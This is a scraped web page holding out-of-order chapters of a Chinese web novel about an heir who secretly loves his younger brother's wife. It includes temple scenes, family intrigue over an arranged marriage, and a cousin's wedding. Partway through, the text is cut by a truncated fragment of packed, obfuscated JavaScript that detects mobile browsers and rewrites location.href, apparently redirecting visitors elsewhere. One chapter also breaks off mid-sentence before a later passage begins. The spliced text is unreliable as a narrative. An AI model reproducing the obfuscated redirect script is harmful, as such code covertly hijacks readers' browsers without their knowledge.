吃完斋饭,禅房门被扣响。 “二少夫人,世子和四公子要下山去看望王爷,外头雪大,山路难走,想问您还去不去?” 昨日说好要去看望淮王这个她从未见过的公公,怎可因为雪大就不去。 “请兄长和四弟稍等,我这就过去。” 容嫣天生体热,并不十分怕冷,在寻常冬衣外头批了件湖色狐裘,雪白的狐狸毛领偎着脸颊,让她原本明艳动人的容貌添了一丝萌态。 她到后山门外,看到两个男子已经在山门外等她。 “二嫂。” “雪天路滑,二弟妹慢些,不必着急。” “嗯,多谢兄长。” 除却顾长颛和顾子盛,还有容嫣和青环,四人沿着山路往下去。 地上的雪很深,但是还没几个人踩踏过,脚步踩下去发出咯吱咯吱的动静,不算滑,青环和容嫣互相搀扶着,走的倒也稳当。 “现在雪比昨晚小多了。”顾子盛拍了拍身上的小雪毛。 “听说二弟昨夜来过?”身前传来顾长颛的闲聊声。 “嗯,来时已经夜深了,走得也急,就没再去同你们打招呼。” “大哥你多年不在家,你不知道二哥和二嫂感情有多好,你就别怪二哥有了妻子忘了咱们兄弟几个。”顾子盛调侃。 “四弟你呀,连我也打趣,小心我跟夫君告状。”容嫣抿唇笑着,却未反驳顾子盛的话。 “小弟不敢了,还要二嫂借我书呢。”顾子盛顺势讨饶。 顾长颛没吭声,他走在容嫣斜前方,容嫣只能瞧见他的侧颊,看不到他的神色。 这一路,顾长颛很少说话,只有性子活跃的顾子盛还在接着昨天的话,喋喋不休的问容嫣要廖之和玄梨的孤本。 见顾子盛是真的喜欢,容嫣开口:“有些在府中,还有一些在容府,你若真想看,等回去我拿给你。” “这可太好了,这要是让书院那几个好友知道了,绝对眼红。” “二嫂,你说你是廖之先生弟子这事,怎么从来没听你提起过?要我是廖之先生的弟子,我得昭告天下。” “老师门下学生众多,我不过是其中最不值得一提的,况且我十五岁就下山了,只跟了老师三四载,实在没什么拿得出炫耀的成就。” “二嫂这话说的未免太谦虚了,那可是廖之先生,就是能见他一面,我都能高兴个许久,更别提能成为他的弟子,该是多么令人激动的事情。” 自从知道容嫣是廖之先生的弟子,顾子盛看她的眼神都带着崇敬。 原先顾子盛得了空就拉着顾长颛问边疆的事,现在却成了他对着容嫣问个不停,显然对廖之先生的事特别好奇。 就这么一路说说笑笑,四人很快到了山下。 顾长颛指了指前头的一间小院子:“就到了。” 远远看到几处院子,小路上还有几个小和尚在打扫,几人加快了脚步。 跟着顾长颛走进其中一个院子。 这院子不大,三小间屋子,院内正中的大香炉里燃着香,正屋里传来隐隐的念佛声。 顾长颛走上前去,轻扣了正屋的门。 “父王。” 过了半响,里头传来一声沉缓的声音:“进来吧。” 顾长颛示意三人在院中等待,他独自进了屋中。 自从进了这院子,一向活跃的顾子盛也不自觉沉静了许多。 不只是容嫣第一次来这里,就连顾子盛也是第一次来这里。 站在院中,正屋的小窗开了半扇,能隐隐听到屋里的一些细微的说话声音,容嫣有些好奇,往窗内瞧了瞧。 只见屋里摆放了一副巨大的画像,像前燃着粗壮的香,缭绕烟雾遮挡了画像上人的面容,一个身着粗布僧衣的低度男人正跪在前头的蒲团上,背对着窗子,容嫣看不到人脸。 这就是淮王吧。 “这些年,除了大哥和方牧,父王不见任何人。”顾子盛的声音带了些低沉。 容嫣看向顾子盛,见他一改往日的活跃,想到淮王出家这事,她也不知道如何言语,也明白了为何这三年不见王府的人提起要来看王爷。 屋内,顾长颛进了门,先净手给屋正中的牌位上香叩首。 祭拜完毕,顾长颛向淮王简单问候几句。 淮王顾策也是微微颔首,并未再多言,继续念经。 “门外是四弟和二弟的……妻子容氏,他们来拜访您。” 这话落下,念经的男人倒是抬了头看了顾长颛一眼,随即又闭眸念经。 “都回去吧,我已不过问世事,不必见了。” 顾长颛微微躬身:“父王您保重身体,我下次再来看望您。” 说完,顾长颛正要离开,又被喊住。 “长颛,你是淮王府世子,身上肩负着淮王府的荣辱兴衰,要恪守己心,万事俱要三思后行,切不可由着性子,让王府成为世人的笑柄。” 顾长颛顿住脚步。 父王对方牧有恩,所以方牧只忠于父王,自然也不会对父王有所隐瞒任何能影响到王府的事情。 “儿臣自幼就被教导凡事以王府为重,不会让王府因我而受辱。” “那便好,你且回去吧。” 顾长颛走至门口,正要推门出去,又停顿住:“父王,儿臣还有一事。” “何事?”< 10. 雪落空枝(二) 容嫣脚步停顿。 《他觊觎弟妻很久了》全本免费阅读 容嫣脚步停顿。 枯枝那头的顾长颛感受到她停下脚步,也停住回望她。 两人站在山路上,白雪倾盖,枯林静默。 见容嫣没说话,顾长颛笑了笑,随即道:“想来二弟妹是忘记了,毕竟那时你不过十岁。” 说完,顾长颛不再提起此事,继续握着树枝带她往上走。 后半程,顾长颛没再吭声,容嫣微微出神,两人只是慢慢循着山路往上走。 走至山门,那些深埋在记忆中的零星片段又再被容嫣强压下去,她紧了紧手心,堪堪出声:“兄长刚才提到的,是统和四年……” “大哥,二嫂!” 容嫣的声音被前方气喘吁吁跑回来的顾子盛的声音掩盖。 “我已经将小丫鬟送去佛医馆了,这会儿寺里的和尚在帮青环姑娘看伤呢,二嫂可别忘了我的谢礼。” 容嫣笑道:“自然忘不得。” 几人往寺中走去,容嫣要去佛医馆看青环,同两人的住处正好顺路,便继续同行。 顾子盛:“雪这么大,看来今日是没法下山了。” “叫你们送我来,这下要连累你们一两日不能下山了。” “无妨,这几日刚好得闲休息一番。”顾长颛出声。 被人打断,有顾子盛在场,容嫣没再继续方才的话,她抬头看了看顾长颛,见他面色平静,显然似乎也没把刚才的事放在心上。 她不曾想到他还会记得那次见面,不过……想来他刚才也只是随口一提罢了。 走到路口,容嫣出声:“兄长和四弟先回去吧,我先去寻青环。” 顾长颛微微颔首。 容嫣正要离开,突然,不知何处传来敲钟声。 “竟然已经午时了,我要吃完斋饭睡个回笼觉。”顾子盛活动活动筋骨,慵懒的打了个哈欠。 他刚说完,旁边寺殿中传来棍棒声,顾子盛吓了一跳,转头看去。 旁边的寺殿,只见三个和尚正光着膀子跪在雪地里,身后几个小和尚拿着棍棒正敲打他们的后背。 “这不是寺庙吗!怎么这里还会打人啊?”顾子盛惊讶。 正巧旁边有小和尚带着香客经过,顾子盛拉过小和尚好奇道:“那是在干什么,你们和尚怎么打人啊?” 那小和尚施了一礼,解释道:“施主有所不知,此处是戒律堂,受刑的三个师兄是在接受悔过棒罚。” “他们可是做错了什么事?要受着悔过棒罚?” “受罚的那几个是伽蓝寺戒律堂的弟子,他们出家前做了错事,为求悔过出家,选了在戒律寺日日受悔过棒。” “那他们出家前做了什么错事?”顾子盛更好奇了。 “这……”小和尚支支吾吾,显然不想议论这些私事。 旁边的香客倒是热情解释:“左边和尚我不大知道,不过我倒是知道中间那个和最右边那个,中间那个曾经是个屠夫,因为女儿在夫家受欺辱,所以这人一怒之下去了女儿夫家,将女儿的夫君一刀砍死了。” 那小和尚也不好阻拦香客说什么,只是默默念了句:“阿弥陀佛。” “至于右边那个……”那香客一副八卦之情,“你们应该都有听说英武候府的丑事吧?” 容嫣和顾长颛对视一眼,两人对此事俱不知情,尤其是顾长颛,对这些事也不怎么关心,正准备叫顾子盛走。 “哦~你是说是那事……这左边的和尚不会就是英武候家的二儿子吧,就是那个觊觎长嫂,害的长嫂上吊自缢的那个梁品?”后面顾子盛压低了声音,但旁边的人仍然能听得清楚。 “对对,就是他,”香客见顾子盛知道这事,也来了兴致,“要我说,那英武侯家的长媳也是个祸水,这女子自缢后,英武候长子也跟着自缢了,如今这二儿子出家,这英武侯一家算是毁了。” 顾子盛附和:“就是就是,真不知道这两个人为何为了一个女子要死要活,唉,祸水啊。” “够了。”顾长颛突然沉声。 容嫣听到两人的后几句话时也感到很不适,怎么就全怪到那女子身上了?只是她不知道全貌,不知道该如何辩上几句。 她没想到顾长颛会突然出声。 他语气很低很沉,容嫣感受到他语气里的情绪,抬头去看顾长颛。 只见他眉头紧拧,眉宇间满是凝重。 她很少见他露出如此神色。 “不知全貌,不可妄评,我看你在书院里学的礼义廉耻都吃到狗肚子里了!”顾长颛训斥顾子盛。 听到那句“狗肚子”,容嫣眉毛跳了跳,兄长动怒了?竟说了粗话。 顾子盛和那香客也觉得莫名其妙,不知道顾长颛为何突然这么大气性。 “那女子和她的夫君已然去世,谁对谁错,事情的真相如何,我们都不得知,还是不要妄评才是。”容嫣缓和气氛。 “施主,咱们还要去前面听方丈念经,得快些了。”小和尚也出声提醒。 “对对,念完经就要开饭了,不然赶不上可口的斋饭了,这位同仁,你要不要也一同前往?方丈那边的斋饭最好吃了。”那男香客觉得跟顾子盛颇投缘。 “是么,那我也一同去。”顾子盛说了声,跟着小和山和香客往诵经堂去。 顾长颛和容嫣站在原地。 “兄长,我先去看青环。” “好。” 入夜,容嫣辗转反侧,难以入眠。 这些年伽蓝寺也变化了许多,好多庙堂重新翻修,寺中廊街修缮的也更加华丽,处处挂着烛灯,灯火明烨。 容嫣披着斗篷,沿着步廊缓缓走着。 不知不觉,她竟走到了后山的山门,站在山门处,趁着雪色月色能看到山门外大片的玄梨枯林,黑色枝丫光秃秃的,静默寂寥。 寺中和尚正将山门附近的灯笼点燃,灯火亮了起来,整个伽蓝寺熠熠生辉。 “二弟妹也还没睡?”顾长颛不知道何时出现在了长廊尽头。 容嫣回头,见顾长颛走来:“兄长?” “我睡不着,便出来走走。” 与白日不同,顾长颛这会儿并未束发,只是将墨发简单随意扎起,额前自然垂下两缕,整个人多了一些恣意潇洒的年轻人的意气风发。 是了,兄长同夫君是同岁,可她总是下意识把他当成心怀敬重的长者,明明……兄长样貌生的极好,有着英挺的鼻梁和俊美的五官,尤其是回来的这些日子,皮肤渐渐褪去在北疆风吹日晒的风霜,肤色也白了许多,分明是年纪差不了几岁的年轻人。 “我脸上,可是有何不妥?” 听这话,容嫣赶紧收回视线:“没,没,只是从未见过兄长如此装扮。” “梳洗完本想睡下,睡不着便简单收拾了一下出来了,我不曾料到你会在。”顾长颛举手投足间竟多了些不自在。 “无妨,兄长这样很好。” 顾长颛有些不自然的负手,随后道:“二弟妹也睡不着,可是有心事?” 两人在山门前的亭廊缓缓走着,周遭灯笼在风雪中打着转儿摇晃。 容嫣顿了下,只是摇摇头。 “可是因为迟迟没有子嗣的缘故?”他突然想到晚膳时,容嫣皱着眉喝下的那碗药。 这是他第一次看到她吃药的样子,那种苦涩让她素来平和好看的容颜皱成一团…… 容嫣没想到顾长颛会同她提及此事,她面上有些尴尬,不知如何作答。 她反问:“兄长可是有心事?” 顾长颛顿住脚步,抬手伸出廊外,雪花飘在他掌心。 他也是摇头。 两人一时无言,站在廊中看着光影中雪落满山门。 “二弟妹如何看待白日听闻的英武候府的事?” 11. 雪落空枝(三) 《他觊觎弟妻很久了》全本免费阅读 徐侧妃第二日才知道是顾长颛和顾子盛一起送容嫣去伽蓝寺,知道这个消息后,她头又疼了几日。 等第三日兄弟二人从伽蓝寺回来后,徐侧妃原本想叫顾长颛过来问话,熟料顾长颛直接去了军营,只说军营中有要事,徐侧妃又气得头痛。 好不容易等顾长颛忙完回到王府,徐侧妃才找到机会见顾长颛。 “大哥。”顾长颢正巧刚从遇刚从徐氏那里出来。 “母亲在院中?”顾长颛问道。 “母亲找你?” “嗯。” “那大哥快进去吧,母亲在呢。” 顾长颛应了声,正要进芙荷院,又被顾长颢喊住:“大哥,听说前日是你和四弟一起送阿嫣去的伽蓝寺。” “嗯,我正好去瞧父王,怎么了,可有不妥?” 顾长颢摇摇头:“我也许久没见父王了。” “父王喜静,等有机会你再去看望他吧。”顾长颛解释。 “我知道的,父王不愿见我们,”顾长颢面上露出一抹苦笑,继续问道,“阿嫣在伽蓝寺可还好,想来因为母亲叫她去伽蓝寺这事,她又生我的气了。” 顾长颛负在身后的右手微微收拢:“二弟妹很好。” “那就好,”顾长颢松了口气,语气中难掩对妻子的担忧,随后他又话锋一转,“大哥,你也别嫌我唠叨,咱俩同年同日的年纪,我已经成婚三载,三弟也马上就要有孩子了,大哥你也该成家了。” 顾长颛抬眸看向顾长颢,看着他面上的调笑,他薄唇微绷。 “大哥,二哥,你们在说什么?”顾云筝恰好从院中出来。 “我劝大哥早点给我们找个嫂子,大哥又不高兴了。”顾长颢先告状。 顾云筝一顿,抬头看了眼顾长颛,见他面色有些不好,心中沉沉叹了口气。 “你同母亲说完话了?我还有事先走了,你们去吧。”顾长颢惹了事就走。 待顾长颢走远,顾云筝试探道:“从小到大,大哥你和二哥的眼光总是一样,喜欢的都一样。” 顾长颛停住脚步:“你是何时知道的?” 从一回来,他就察觉到顾云筝也是知道他的心思。 顾云筝攥了攥手心:“我偶然间看到了三年前大哥寄给母亲的急信。” 顾长颛点点头,也没再说什么。 “我去见母亲。” “大哥……” “我自有分寸。” 芙荷院正堂,徐氏靠在罗汉床上,旁边徐嬷嬷正在帮徐氏按摩穴位。 见顾长颛进来,徐氏抬手示意,除了徐嬷嬷,底下伺候的其他丫鬟婆子都退了下去。 顾长颛落座,看向徐氏:“母亲头又疼了?可要找温大夫来瞧瞧?” “太医也来瞧过了,说我这是心病。”徐侧妃唉嘘叹息。 闻此,顾长颛没搭话,只是端起茶杯呷了一口。 “你二弟已然成婚三载,你三弟下个月就要当爹,你四弟和小妹也快要说亲,我现在最发愁的就是你的婚事。” 听着徐氏和顾长颢如出一辙的说辞,顾长颛竟笑了笑,随即淡声道:“让母亲费心了。” “长颛,你到底喜欢什么样的女子,这些日子,我给你相看了许多人家,你看看可有钟意的?”徐氏说着,从旁边小几抽屉里拿出两本册子,“这是咱们京中所有适龄的名贵闺秀,你且看看。” “儿子喜欢的……母亲不是知道吗,”顾长颛语气平静,“母亲给二弟选的妻子很好,儿子也相信母亲的眼光。” 这话一落,徐侧妃手中握着的手串掉在地上,珠子散了一地。 “长颛……你,”徐侧妃深深抽了口气,苦笑道,“你跟颢儿都如此执着,可容氏根本没有你们想的那般好,如今你二弟同容氏的日子你也看在眼里,这容氏迟迟生不出子嗣不说,脾性也倔的厉害,实在算不得好儿媳人选。” 茶盏被重重搁下,发出不大不小的动静。 “母亲慎言。” “当初母亲执意为二弟求娶容嫣,不顾我从边疆送回的急信,不惜称病也要二弟和容嫣尽快晚婚,分明是极满意二弟能娶得容嫣。”顾长颛字字句句敲在徐侧妃心上,这便是把事情说破了。 顾长颛意瞩容嫣,徐侧妃在三年前就知道了。 当初容府和淮王府订婚之际,徐侧妃收到了顾长颛从北疆寄回来的急信。 对于这个长子,徐侧妃同他并不怎么亲近,一则他养在王妃那屋,王爷不叫她亲近,二则……就算是后来王妃去世,王爷出家,这个儿子也不曾向着她,待她这个生母也带着几分疏离,从未对她说过心里话。 唯独那次的急信—— “儿子有一心爱之人,正是容府嫡女容嫣,恳请母亲暂且不要订下二弟和容府的婚事,如今边关战事吃紧,至少半年后儿子才能回去,恳请母亲待儿子回去再行商议此事可好?若儿子此生不能娶得容嫣,定要抱憾终生,恳请母亲三思。” 信中,是长子第一次对她敞开心扉,恳请于她。 但徐氏那时非但没有按信上说的,甚至还称病以冲喜为由,快速应允了容嫣顾长颢的婚事,更是让两人在三个月内完婚。 如今顾长颛回来,徐侧妃日日都在为此事担忧,看着顾长颛对容嫣的偏袒,她更是心惊胆战。 “当初……当初……”徐侧妃自知理亏,硬着头皮解释,“你常年不在望京,我不知你何时对容氏这般钟情,你二弟和这容氏也是两情相悦,而且当初容氏对你……我甚至专门打听过,容氏分明对你没有念头,甚至都不知道你,我怕你们兄弟为了个女子相争,所以……我便成全了你二弟,你不要怪我。” 听到徐侧妃那句“二弟和容氏两情相悦”,顾长颛胸口闷了一下,想到昨晚在伽蓝寺,也是这般亲口听她说起她和二弟的事情,他唇角溢出苦笑。 “当初太傅之女容嫣名动望京,百家求娶,就连太子都想登门求娶,母亲费心思为二弟谋求这世间最优秀的妻子也无可厚非。” 徐侧妃没料到顾长颛突然一改话锋,没再继续追究三年前她称病让两人快速完婚这事。 想到这里,徐氏还是有种心虚,如今想来当初她也是年轻,行事前不曾多加考虑,只为一己私心却丝毫没想到这样做的后果,尤其是现在看到这个威严有度,令她这个亲生母亲都心生一丝惧怕的儿子,她更是后怕。 不过她到底是他的生母,他断不会为了一个女人同自己翻脸,想到这里,徐侧妃又松了口气。 顾长颛继续道:“昨日我去看望了父王,我同他提起把世子之位让给二弟,日后由二弟承爵,父王也答应了。” 徐侧妃惊讶。 “陛下已经给我赐下将军府,待二弟承了世子,我便去将军府,母亲也不必再因为我的心思儿忧思费神到难以入眠,只是……” 徐氏已经被顾长颛接二连三的一番话震惊到说不出话来。 “只是什么?” “我唯一的要求,就是希望母亲善待容嫣,就算是为了二弟,也为了当初母亲费尽心思为二弟求娶的这番心思,母亲也要善待她才是,不要总是为难她。” “可是她至今没有子嗣。”徐侧妃面上不喜。 “母亲,”顾长颛打断徐氏,闭了闭眸子,“只有夫妻和睦,他们才会有子嗣,不是么?” 徐侧妃张了张嘴,却发现自己一句话都说不出来,她知道这个儿子的脾气,说一不二,今日他没再追究当年的事,她就已经知足了,念及此,她面上答应:“好,我听你的便是。” 至少长颛在府上的这些日子,她不再难为容氏就是了。 “多谢母亲。” 听此,徐氏松了口气,她又将手中的两本册子递到顾长颛面前:“这是我叫容氏替人打听的适婚女子,她的眼光素来不错。” “……母亲也真是费了心思。”顾长颛面色再次难看起来,起身拂袖离开。 徐侧妃再次气滞。 旁边徐嬷嬷是徐氏的心腹,她出声宽慰:“看样子大公子已经将容氏放下,不会发生您担心的兄弟相争,您大可放宽心,又何必这样诛大公子的心。” “可他还是偏袒这容嫣,”徐侧妃叹气,“不过既然长颛放下了容氏,等日后他不在王府了自然也管不到王府的事,若是容氏生不出孩子,日后我总能找到机会往颢儿房里塞人,王爷如此长情之人,不也还是三番两次碰了我,唉,说起来,明明颢儿更像王爷,也幸好长颛要把世子之位让给颢儿。” 徐侧妃继续喋喋不休:“若是这容氏迟迟生不出孩子,颢儿这辈子可就毁了,我真 12. 雪落空枝(四) 《他觊觎弟妻很久了》全本免费阅读 三月初六,淮王府三房生下一子,贺宴定在了三月廿八。 回府后的这一月,日子过得比容嫣想象的要好些。这整个月,徐氏待她的态度要比以往好些,竟没刻意为难她,容嫣想到可能是因为三弟妹临近生产,婆母全部心思都在三房,顾不得她这头。 可惜,好不容易徐氏消停了,却另有她人不叫容嫣痛快。 “姑娘,这徐家大夫人未免太过分了,侧妃都不曾说那些,她倒好,话里话外都刺着您。”如之前料想的那样,徐秀芹生产之际,徐家的两位舅母来王府小住,丫鬟口中的徐家大夫人就是大舅母。 自从前些日子徐秀芹生下儿子之后,这大舅母总是在她面前有意无意提及容嫣入府未孕之时,起初容嫣并不在意,直到今晚用膳时,这大舅母吃多了酒,竟当着众人的面冒出一句:“不能下蛋的母鸡。” 容嫣也不是好惹的性子,当即怼了回去,随即甩袖离席。 眼下主仆二人从芙荷院离开,丫鬟正愤愤不平。 “姑娘,咱们明日回容府吧,不要再给他们帮忙了。”明日就是三月廿八,容嫣主管王府中馈,明日三房的贺宴由她一手操办。 容嫣这会儿余气未消,但听到丫鬟所言,她还是摇摇头:“不妥。” 不过是不值一提到小事,若是她贸然回府,祖母和爹爹娘亲定要胡思乱想,徒增担忧。 “二公子也不知在忙些什么,这些日子都回来这么晚,要是二公子在,估计这徐家的恶妇断然不敢口出恶言。”丫鬟为容嫣生气。 听这话,旁边青环暗自撇撇嘴。先前二公子在府中时,这徐家恶妇虽没有今晚这般放肆,但也从未礼待过姑娘,二公子每次都叫姑娘隐忍,不然那徐家恶妇也不会屡屡对姑娘不敬。 第二日,虽然不高兴,容嫣还是规规矩矩招待来府中庆贺的女客。 忙累了一天,待客人都散去,容嫣在宾客尽散的厅中拨着算盘,听管家报账。 “二公子说天不早了,让您先回去休息。”丫鬟进来。 容嫣摇头:“夫君也累了一天,明日还要早起进宫,让夫君先睡吧,我正好在这处拨算盘不会吵到他。” 顾长颢在前面陪男客,也应酬着喝了不少酒,这会儿已经回房去睡了,今日事今日毕,容嫣不喜欢拖沓。 门又打开,有个管事喊了句:“世子。” 自上个月顾长颛宣布要把世子之位让给顾长颢之后,这段日子很多人也都在喊顾长颢世子。 容嫣只以为顾长颢不放心她,她笑着抬头:“夫君可是等不及了,你先帮我暖床……” 她私下里说话不拘小节,周围都是她的人,她嘴也就更没个把门了。 但来人是顾长颛。 她暗自咬了咬舌头:“……兄,兄长。” “嗯,”顾长颛走近,坐在容嫣对面,“在核对账册?” 说起来,自上次从伽蓝寺回来,容嫣就不曾再见过顾长颛了。 顾长颛探手拿起账本,随便看着,漫不经心道:“晚膳还有吗?” 意识到顾长颛还没吃晚膳,容嫣赶紧吩咐人去给顾长颛准备晚膳。 等饭之际,顾长颛继续漫不经心的翻看账本:“你继续算吧,不必管我,我随意看看。” 容嫣点头,这会儿她也有点乏累了,只想着赶紧算完回去歇着,但不知道是太累了还是怎么,她这会儿总是出错。 在她又一次停下手轻轻叹气时,一只大手伸到她面前,将她手中的算盘拿过去。 “我来试试,这处似乎应该这样算。” 容嫣顺着看去,见顾长颛暖玉色的修长手指拨弄着算盘,他头也没抬:“二弟妹帮我看账,我来算,这样能快些。” 见他拨算盘的样子熟练又快速,容嫣颇为惊讶,听顾长颛这般说,她拿起账本,将上面的账目念给顾长颛听。 青环上前将桌上的灯添得更亮些。 不知过了多久,顾长颛放下算盘:“算完了。” “没想到兄长还精通这些。” “许久没拨算盘,手有些生了。” 说话间,下人端来晚膳。 “二弟妹可要一起用些?” “正好我也有些饿了。”容嫣应下,账务算完,容嫣这会儿很是放松。 由管事和几个婆子来善后,容嫣和顾长颛在厅中不紧不慢的用膳。 容嫣闲聊:“这些日子军营的事很忙吧,一个多月没见兄长了。” “还好,”许是今日顾长颛心情不错,他话似乎比寻常多了些,“其实我长久不回府中,是在躲着母亲。” “为何?”听顾长颛这么说,容嫣惊讶。 “母亲总是提起要给我娶妻这事,实在听得人头昏,我索性就不回来了。”顾长颛语气中带着无奈。 “啊。”竟是这样,听顾长颛竟是为此发愁,不知怎么,容嫣只觉得他更平易近人了些。 “兄长为何不想成婚?” 想到前几个月徐氏特意叫容嫣帮她挑些世家女子,当时容嫣还以为徐氏又动了给夫君纳妾的心思,后来才知道那些都是婆母要给兄长挑的正妻人选,是以她认认真真准备京中适婚的女子都打听了一番,整整两册子。 “兄长可是对我挑选的那些不满意?” 听容嫣这么问,顾长颛抬起头,目光在容嫣视线停顿,随后他轻轻摇头。 容嫣正思忖他这摇头到底是有还是没有,对方给了她答案。 “我有个心慕之人,是以我不想娶旁人。” 闻言,容嫣抬头对上顾长颛视线,她眸中带着惊讶,既惊于他会对自己说这话,更惊于他他会有心慕之人。 片刻后,容嫣轻轻问:“哪家的姑娘,兄长为何不娶她?” “她已经嫁人了。” “……”容嫣瞪大眼睛,震惊脸,一时间不知道该说什么。 顾长颛今晚似乎很有倾诉欲,他如往常一般温和笑笑,继续道:“心慕很久了,只是这些年北疆战事吃紧,我一直没能回来,我在战场上时便听说她嫁人了。” “这样啊……那姑娘许有不得已的苦衷吧。”容嫣虽然是这么说,但是却更好奇,究竟是什么样的女子,连兄长这样的出众的男子都不等,要嫁给别人。 “她不知道我的心意,我原本想等她到了年纪,等我从战场上回来,就去她家提亲的。” 原来是兄长单相思啊。 容嫣绞尽脑汁安慰:“可惜了,若是那女子提前知道兄长的心意,定会等兄长回来。” “是么?二弟妹是这么想的?” 顾长颛的语气仍似往日般平静,容嫣并未感受到任何异样。 “当然,兄长这般优秀的男子,若是那女子早就知晓兄长的心意,肯定也会心慕兄长,不会再嫁给其他人,只等着兄长从战场凯旋回来娶她呢。”容嫣话中都是可惜。 说完这句,不见顾长颛再说话,容嫣抬头,正对上顾长颛的视线,他眸光幽深,看得容嫣心漏了一拍。 但还没等容嫣看清那眸中的情绪,顾长颛已然垂下睫,移开视线。 见他神情寂然,容嫣继续安慰:“世间还有很多好女子,兄长不妨……” “试过了,放不下,我已然决定终生非她不娶。” 语气还是那般,可话里的内容令容嫣大为震惊。 “……”她忍不住再次望向顾长颛。 瞧见容嫣惊讶万分的神情,顾长颛似是漫不经心的笑笑:“今晚喝了酒,话多了些,失态了。这些话我从未跟其他人提起,二弟妹就当没听过罢,不必放在心上,只是……日后母亲再让二弟妹帮忙相看世家女子,二弟妹不必用太多心思,只管把母亲敷衍过去便是,总归我都不会娶的。” 用完晚膳,天已经不早了,容嫣回到院中,心中在为方才前厅中顾长颛说的那些话而震惊。 原来,像兄长这样的人也会有爱而不得的心慕之人啊。 第二日,在芙荷院用早膳时,在大舅母向顾长颛提起给顾长颛相看女子时,顾长颛突然神色微沉,面露不喜。 “可是三弟妹不需要大舅母照顾了,竟让大舅母抽出心思来担心我的婚事。” 吴氏本意是想借此亲近顾长颛,好让他再为徐城的事努力一把,却不曾料到他突然变脸。 当着这么多人被落了面子,要不是徐侧妃打圆场,吴氏脸上真就挂不住了。 若是以前,容嫣肯定会奇怪顾长颛为何会这般,但想到昨晚的那些话,容嫣倒也不觉得奇怪了,只是突然心生感慨,世间真的会有男子会为了一个求而不得的女子终生不娶吗? 但对方是顾长颛,她又觉得并非不可能。 两日后是容嫣堂兄娶妻的日子,她今日就要回容府,也借此机会不用再看两位舅母和徐氏的脸色。 容嫣堂哥成婚这日,容府很是热闹。 “新娘子来了!” 街口突然几声高喊。 一阵爆竹声响起,街口烟雾缭饶,周围观礼的宾客一派欢堂。 容嫣站在容府大门前,挽着母亲的手侧头瞩目:“成轩哥的新娘子来了!” 在大家都瞩目中,容嫣堂哥容承轩从高头大马上翻身而下,动作潇洒。 “之前怎么从来没觉得堂哥这么帅气呢!”容嫣站在人群中。 “新郎官总是这样气派,你爹跟我成亲的时候比这还潇洒帅气。” 听母亲这般言语,容嫣偷乐,父母的深厚感情,一直是她羡慕向往的。 “你还羡慕了?你成婚的时候,长颢也不错的。”母亲冯氏捏捏容嫣小脸。 “是吗?”容嫣仔细回想,却发现自己竟然有些记不太清当时自己和顾长檀是如何模样和心态了。 前面的人把容嫣挡住了,她也踮起脚试图去看新郎把轿门踢开,看着容成轩脚下力气没收住,轿子狠狠晃动了一下,周围的人都笑起来。 “哥哥真是没个轻重。”旁边堂妹嫌弃。 容嫣拿起帕子掩唇笑。 “走了堂姐,咱们跟着去看看新娘子到底什么样。”堂妹挽着容嫣的手。 虽然容嫣之前已经见过新娘子,但此刻她还是有些好奇成婚这日新娘子的装束。 “去吧。”冯氏让她去。 容嫣和堂妹往拜堂的地方去,前厅人太多,堂妹很是机灵的钻到人群最前头,容嫣也找了个高的台阶观礼。 在一众宾客和丫鬟婆子的热闹人群中,容嫣突然眼前一亮,竟看到人群中的顾长颛,此刻,他负手站在人群后面观礼。 似是察觉的她的视线,顾长颛也看过来,对她微微颔首。 容嫣抬手晃了晃打招呼。 “看这新郎握着新娘子的手微微颤抖,真是爱极了新娘子。”旁边有人小声嘀咕。 容嫣也表示赞同,笑道:“是啊,瞧成轩哥看到新娘子的时候脸都红了,还有他握住新娘子手的时候手都抖了。” “我哥跟若芳姐这婚事好事多磨,我哥足足盼了三年,当然高兴紧张。”堂妹又被人挤出来,容嫣让她站在自己身旁。 人群中又是一阵欢呼,容成轩将新娘子抱起来,稳步走进拜堂的花厅。旁边撒花的丫鬟更加卖力,大家都赶着往花厅去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12137492|123993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前你说兄……顾将军他对你多有帮助,你便如原来那般待他就好,不要因我而迁怒于他。” 听了这话,容靖才小心翼翼松了口气。 容嫣自回府后数月闭门不出。 顾长颛每次从容府门前经过,一次也未曾碰见容嫣。 过完年后,临近正月十三。 顾长颛把玩着手中刚做好的首饰,是一对简单又精致的金累丝镶绿松石的葫芦耳坠。 整整一日,他都在考虑该如何送出去。 熟料令晋先带来了容嫣的消息。 “这是容大小姐派人送来的,说是让您亲启。”令晋递来一个匣子。 令晋还以为顾长颛听到这个消息会高兴,却不料顾长颛看着那匣子后一脸凝重。 “你出去吧。” “是。” 屋内只剩了顾长颛一人,他缓缓将匣子打开,露出了里面的东西—— 是五件首饰。 是那些年他从北疆亲手做了,派人送回来,以淮王府的名义送去容府,给容府大小姐容嫣的生辰礼物。 匣子中还有一张纸,上面只写了简短的几句话—— 顾将军为心上人所做的首饰,不知中间有何周折给错了人,如今物归原主,风波已停,望将军不再介怀,心向明处,早日觅得良缘。 纸上没有落款,连字迹都有明显的更改掩饰之意,显然是不想让旁人知晓是谁所写。 但顾长颛还是一眼认出这是容嫣亲笔所写。 “令晋。”顾长颛胸口闷疼。 令晋听到传唤进来:“将军有何吩咐?” “你派人去容府一趟,跟她说我要见她一面。” 此刻顾长颛的神色是少有的迫切。 令晋犹豫道:“来送信的人走前说了句,说容小姐三天前就已经南下去冯夫人娘家皖粱城了,听说是要在那久居一段日子呢。” ……她如此匆匆离开,究竟是为和离伤神,亦或是对他避之不及。 顾长颛坐回太师椅,许久,他轻声说了句:“好。” …… 春去秋来,又是一年冬末,容嫣在皖粱城待了整整一年。 “祖母勿怪我没赶回来过年,我实则腊月初几就往回赶了,谁知道半路船坏了,中间又遇上暴雪,便在途中耽搁了半月,紧赶慢赶,这才终于在十五之前赶回来。”容嫣说笑着,把从皖粱城带回来的礼物和皖粱祖母家捎回来的东西分给大家。 二婶道:“昨儿是嫣丫头生辰,该早一日回来。” “不妨事不妨事,今日补上就是了。”容老夫人向容嫣招招手。 